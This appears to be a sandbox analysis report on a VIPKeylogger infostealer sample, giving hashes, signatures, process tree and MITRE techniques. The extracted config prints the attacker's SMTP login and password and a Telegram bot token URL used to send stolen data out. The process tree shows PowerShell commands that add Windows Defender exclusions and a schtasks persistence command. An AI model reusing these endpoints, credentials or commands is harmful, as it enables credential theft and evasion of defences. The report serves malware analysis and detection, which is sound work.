Analysis
-
max time kernel
121s -
max time network
138s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
09-12-2024 11:12
Static task
static1
Behavioral task
behavioral1
Sample
ff7e78da9c8e580229fe95dfdfe5b098.exe
Resource
win7-20240729-en
Behavioral task
behavioral2
Sample
ff7e78da9c8e580229fe95dfdfe5b098.exe
Resource
win10v2004-20241007-en
General
-
Target
ff7e78da9c8e580229fe95dfdfe5b098.exe
-
Size
909KB
-
MD5
ff7e78da9c8e580229fe95dfdfe5b098
-
SHA1
ab968e47e463f29426116753b0ca086fd5b33cdb
-
SHA256
cefa40083339d42320bc1f9ba33c578b8abe47e15eb0dd6b0ba2f734aa8f3d6d
-
SHA512
45517b8bc96613daeabb738a42188b8ef19b0ac2b53e3202f7d86f683dacdbe1c4a78414938ab5ad0b48b7c546bc89a78932e3b8a1dbf6604e59b4887de48409
-
SSDEEP
12288:v9Qw+JBpSqWsX8yViJMjLDXGn6pYn21S20YDOcAvrFa1:lUJBp3WxqiJs2IYn21SwacAv
Malware Config
Extracted
Protocol: smtp- Host:
mail.vvtrade.vn - Port:
587 - Username:
[email protected] - Password:
qVyP6qyv6MQCmZJBRs4t
Extracted
vipkeylogger
https://api.telegram.org/bot7339564661:AAFzTB6gEWMndjXYyD5LCn17UEBISRR8wDI/sendMessage?chat_id=6443825857
Signatures
-
VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
-
Vipkeylogger family
-
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2288 powershell.exe 2332 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation ff7e78da9c8e580229fe95dfdfe5b098.exe -
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 ff7e78da9c8e580229fe95dfdfe5b098.exe Key opened \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 ff7e78da9c8e580229fe95dfdfe5b098.exe Key opened \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 ff7e78da9c8e580229fe95dfdfe5b098.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 17 checkip.dyndns.org -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 864 set thread context of 2756 864 ff7e78da9c8e580229fe95dfdfe5b098.exe 93 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ff7e78da9c8e580229fe95dfdfe5b098.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ff7e78da9c8e580229fe95dfdfe5b098.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3116 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 864 ff7e78da9c8e580229fe95dfdfe5b098.exe 2332 powershell.exe 2288 powershell.exe 864 ff7e78da9c8e580229fe95dfdfe5b098.exe 2756 ff7e78da9c8e580229fe95dfdfe5b098.exe 2288 powershell.exe 2332 powershell.exe 2756 ff7e78da9c8e580229fe95dfdfe5b098.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 864 ff7e78da9c8e580229fe95dfdfe5b098.exe Token: SeDebugPrivilege 2288 powershell.exe Token: SeDebugPrivilege 2332 powershell.exe Token: SeDebugPrivilege 2756 ff7e78da9c8e580229fe95dfdfe5b098.exe -
Suspicious use of WriteProcessMemory 18 IoCs
description pid Process procid_target PID 864 wrote to memory of 2288 864 ff7e78da9c8e580229fe95dfdfe5b098.exe 86 PID 864 wrote to memory of 2288 864 ff7e78da9c8e580229fe95dfdfe5b098.exe 86 PID 864 wrote to memory of 2288 864 ff7e78da9c8e580229fe95dfdfe5b098.exe 86 PID 864 wrote to memory of 2332 864 ff7e78da9c8e580229fe95dfdfe5b098.exe 88 PID 864 wrote to memory of 2332 864 ff7e78da9c8e580229fe95dfdfe5b098.exe 88 PID 864 wrote to memory of 2332 864 ff7e78da9c8e580229fe95dfdfe5b098.exe 88 PID 864 wrote to memory of 3116 864 ff7e78da9c8e580229fe95dfdfe5b098.exe 91 PID 864 wrote to memory of 3116 864 ff7e78da9c8e580229fe95dfdfe5b098.exe 91 PID 864 wrote to memory of 3116 864 ff7e78da9c8e580229fe95dfdfe5b098.exe 91 PID 864 wrote to memory of 2756 864 ff7e78da9c8e580229fe95dfdfe5b098.exe 93 PID 864 wrote to memory of 2756 864 ff7e78da9c8e580229fe95dfdfe5b098.exe 93 PID 864 wrote to memory of 2756 864 ff7e78da9c8e580229fe95dfdfe5b098.exe 93 PID 864 wrote to memory of 2756 864 ff7e78da9c8e580229fe95dfdfe5b098.exe 93 PID 864 wrote to memory of 2756 864 ff7e78da9c8e580229fe95dfdfe5b098.exe 93 PID 864 wrote to memory of 2756 864 ff7e78da9c8e580229fe95dfdfe5b098.exe 93 PID 864 wrote to memory of 2756 864 ff7e78da9c8e580229fe95dfdfe5b098.exe 93 PID 864 wrote to memory of 2756 864 ff7e78da9c8e580229fe95dfdfe5b098.exe 93 PID 864 wrote to memory of 2756 864 ff7e78da9c8e580229fe95dfdfe5b098.exe 93 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 ff7e78da9c8e580229fe95dfdfe5b098.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 ff7e78da9c8e580229fe95dfdfe5b098.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\ff7e78da9c8e580229fe95dfdfe5b098.exe"C:\Users\Admin\AppData\Local\Temp\ff7e78da9c8e580229fe95dfdfe5b098.exe"1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:864 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\ff7e78da9c8e580229fe95dfdfe5b098.exe"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2288
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\GJgncWe.exe"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2332
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\GJgncWe" /XML "C:\Users\Admin\AppData\Local\Temp\tmpE6D6.tmp"2⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:3116
-
-
C:\Users\Admin\AppData\Local\Temp\ff7e78da9c8e580229fe95dfdfe5b098.exe"C:\Users\Admin\AppData\Local\Temp\ff7e78da9c8e580229fe95dfdfe5b098.exe"2⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:2756
-
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
2Credentials In Files
2Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ff7e78da9c8e580229fe95dfdfe5b098.exe.log
Filesize1KB
MD58ec831f3e3a3f77e4a7b9cd32b48384c
SHA1d83f09fd87c5bd86e045873c231c14836e76a05c
SHA2567667e538030e3f8ce2886e47a01af24cb0ea70528b1e821c5d8832c5076cb982
SHA51226bffa2406b66368bd412bf25869a792631455645992cdcade2dbc13a2e56fb546414a6a9223b94c96c38d89187add6678d4779a88b38b0c9e36be8527b213c3
-
Filesize
2KB
MD53d086a433708053f9bf9523e1d87a4e8
SHA1b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28
SHA2566f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69
SHA512931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd
-
Filesize
18KB
MD5a8c9eb47f0dc699ce2f456b7bffc7759
SHA170d35afa70ca75221165b5d1d8bc8c49a45be310
SHA2565d345ab59b02508d680a37ce647c6151a94bbeb448c2e838c58e181f8b49e3df
SHA512cbb5ebb47b9a3174b769b2a296def9f7e0ffb283855b7b48f681b7750080adc759bcfaf327d33ec36072ffc74a6ef5ad5dd8772309961f70d04e760de2d7a4cb
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
1KB
MD5b15cfdde58f48c59eaa5b57c65b30bf4
SHA1e1951e84086ceeabefcc24746195a81a7d09dd0e
SHA25634556be72201a6330b4f2ab550672c1be9bffa5297bac467c39d3940a475d9ad
SHA512ae17b5d5ebc201d0adfc6e1514df501494d1aa8a4397f010db266aba7f53af5a03a3bb84b2128d4e61c7b4a8a662a64f8d2f92ccd4f3f10fd53f07cc4d32091c